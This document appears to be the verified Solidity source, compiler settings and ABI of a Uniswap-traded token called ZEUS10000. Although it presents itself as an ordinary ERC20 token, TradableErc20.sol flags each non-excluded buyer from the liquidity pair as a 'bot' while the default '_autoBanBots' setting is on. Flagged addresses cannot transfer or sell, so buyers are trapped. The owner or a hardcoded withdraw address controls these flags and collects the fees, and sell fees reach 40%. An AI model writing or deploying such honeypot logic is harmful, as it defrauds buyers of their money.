文件 1 的 4:ERC20.sol
pragma solidity ^0.8.7;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is IERC20 {
uint256 internal _totalSupply = 1e22;
string _name;
string _symbol;
uint8 constant _decimals = 18;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function decimals() external pure returns (uint8) {
return _decimals;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account)
public
view
override
returns (uint256)
{
return _balances[account];
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
_transfer(msg.sender, recipient, amount);
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
_beforeTokenTransfer(from, to, amount);
uint256 senderBalance = _balances[from];
require(senderBalance >= amount);
unchecked {
_balances[from] = senderBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
external
override
returns (bool)
{
_approve(msg.sender, spender, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][msg.sender];
require(currentAllowance >= amount);
unchecked {
_approve(sender, msg.sender, currentAllowance - amount);
}
return true;
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0));
uint256 accountBalance = _balances[account];
require(accountBalance >= amount);
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
文件 2 的 4:IUniswapV2Router02.sol
pragma solidity ^0.8.7;
interface IUniswapV2Router02 {
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
文件 3 的 4:TradableErc20.sol
pragma solidity ^0.8.7;
import "./ERC20.sol";
import "./IUniswapV2Router02.sol";
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
abstract contract TradableErc20 is ERC20 {
IUniswapV2Router02 internal constant _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public uniswapV2Pair;
bool public tradingEnable;
mapping(address => bool) public isBot;
mapping(address => bool) _isExcludedFromFee;
bool _autoBanBots = true;
bool _inSwap;
uint256 public maxBuy;
uint256 constant maxBuyIncrementMinutesTimer = 2;
uint256 constant maxByyIncrementPercentil = 1;
uint256 public maxBuyIncrementValue;
uint256 public incrementTime;
modifier onlyOwner() {
require(isOwner(msg.sender));
_;
}
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
constructor(string memory name_, string memory symbol_)
ERC20(name_, symbol_)
{
_isExcludedFromFee[address(0)] = true;
}
receive() external payable {}
function makeLiquidity() public onlyOwner {
require(uniswapV2Pair == address(0));
address pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
_balances[address(this)] = _totalSupply;
_allowances[address(this)][address(_uniswapV2Router)] = _totalSupply;
_isExcludedFromFee[pair] = true;
_uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
_totalSupply,
0,
0,
msg.sender,
block.timestamp
);
uniswapV2Pair = pair;
tradingEnable = true;
incrementTime = block.timestamp;
maxBuyIncrementValue = (_totalSupply * maxByyIncrementPercentil) / 1000;
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(!isBot[from] && !isBot[to]);
if (from == uniswapV2Pair && !_isExcludedFromFee[to]) {
uint256 incrementCount = (block.timestamp - incrementTime) /
(maxBuyIncrementMinutesTimer * 1 minutes);
if (incrementCount > 0) {
if (maxBuy < _totalSupply)
maxBuy += maxBuyIncrementValue * incrementCount;
incrementTime = block.timestamp;
}
require(tradingEnable);
if (!_autoBanBots) require(_balances[to] + amount <= maxBuy);
if (_autoBanBots) isBot[to] = true;
amount = _getFeeBuy(amount);
}
if (!_inSwap && uniswapV2Pair != address(0) && to == uniswapV2Pair) {
amount = _getFeeSell(amount, from);
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > 0) {
uint256 maxContractBalance = (balanceOf(uniswapV2Pair) *
getMaxContractBalancePercent()) / 100;
if (contractTokenBalance > maxContractBalance) {
uint256 burnCount;
unchecked {
burnCount = contractTokenBalance - maxContractBalance;
}
contractTokenBalance = maxContractBalance;
_totalSupply -= burnCount;
emit Transfer(address(this), address(0), burnCount);
}
uint256 swapCount = contractTokenBalance;
uint256 maxSwapCount = 2 * amount;
if (swapCount > maxSwapCount) swapCount = maxSwapCount;
swapTokensForEth(swapCount);
}
}
super._transfer(from, to, amount);
}
function _getFeeBuy(uint256 amount) private returns (uint256) {
uint256 fee = amount / 20;
amount -= fee;
_balances[address(this)] += fee;
return amount;
}
function getSellBurnCount(uint256 amount) internal view returns (uint256) {
uint256 value = _balances[uniswapV2Pair];
uint256 vMin = value / 100;
if (amount <= vMin) return amount / 20;
uint256 vMax = value / 10;
if (amount > vMax) return (amount * 35) / 100;
return (((amount - vMin) * 35 * amount) / (vMax - vMin)) / 100;
}
function _getFeeSell(uint256 amount, address account)
private
returns (uint256)
{
uint256 devFee = amount / 20;
uint256 burnCount = getSellBurnCount(amount);
amount -= devFee + burnCount;
_balances[account] -= devFee + burnCount;
_balances[address(this)] += devFee;
_totalSupply -= burnCount;
emit Transfer(address(this), address(0), burnCount);
return amount;
}
function setMaxBuy(uint256 percent) external onlyOwner {
_setMaxBuy(percent);
}
function _setMaxBuy(uint256 percentil) internal {
maxBuy = (percentil * _totalSupply) / 1000;
}
function getMaxBuy() external view returns (uint256) {
uint256 incrementCount = (block.timestamp - incrementTime) /
(maxBuyIncrementMinutesTimer * 1 minutes);
if (incrementCount == 0) return maxBuy;
return maxBuy + maxBuyIncrementValue * incrementCount;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETH(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function setBots(address[] memory accounts, bool value) external onlyOwner {
for (uint256 i = 0; i < accounts.length; ++i) {
isBot[accounts[i]] = value;
}
}
function setExcludeFromFee(address[] memory accounts, bool value)
external
onlyOwner
{
for (uint256 i = 0; i < accounts.length; ++i) {
_isExcludedFromFee[accounts[i]] = value;
}
}
function setTradingEnable(bool value, bool autoBanBotsValue)
external
onlyOwner
{
tradingEnable = value;
_autoBanBots = autoBanBotsValue;
}
function setAutoBanBots(bool value) external onlyOwner {
_autoBanBots = value;
}
function withdraw() external onlyOwner {
_withdraw(address(this).balance);
}
function getMaxContractBalancePercent() internal virtual returns (uint256);
function _withdraw(uint256 sum) internal virtual;
function isOwner(address account) internal virtual returns (bool);
}
文件 4 的 4:ZEUS10000.sol
pragma solidity ^0.8.7;
import "./TradableErc20.sol";
contract ZEUS10000 is TradableErc20 {
address _owner;
address _withdrawAddress =
address(0x64485E260439613940b16821ad080c6862B73152);
uint256 maxContractLiquidityPercent = 4;
constructor() TradableErc20("ZEUS10000", "ZEUS10000") {
_owner = msg.sender;
_setMaxBuy(2);
}
function getMaxContractBalancePercent()
internal
view
override
returns (uint256)
{
return maxContractLiquidityPercent;
}
function setMaxContractLiquidityPercent(uint256 newMaxLiquidityPercent)
external
onlyOwner
{
maxContractLiquidityPercent = newMaxLiquidityPercent;
}
function _withdraw(uint256 sum) internal override {
payable(_withdrawAddress).transfer(sum);
}
function isOwner(address account) internal view override returns (bool) {
return account == _owner || account == _withdrawAddress;
}
function transferOwnership(address newOwner) external onlyOwner {
_owner = newOwner;
}
}
{
"compilationTarget": {
"contracts/ZEUS10000.sol": "ZEUS10000"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getMaxBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"incrementTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"makeLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyIncrementValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutoBanBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setExcludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"setMaxBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxLiquidityPercent","type":"uint256"}],"name":"setMaxContractLiquidityPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"value","type":"bool"},{"internalType":"bool","name":"autoBanBotsValue","type":"bool"}],"name":"setTradingEnable","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]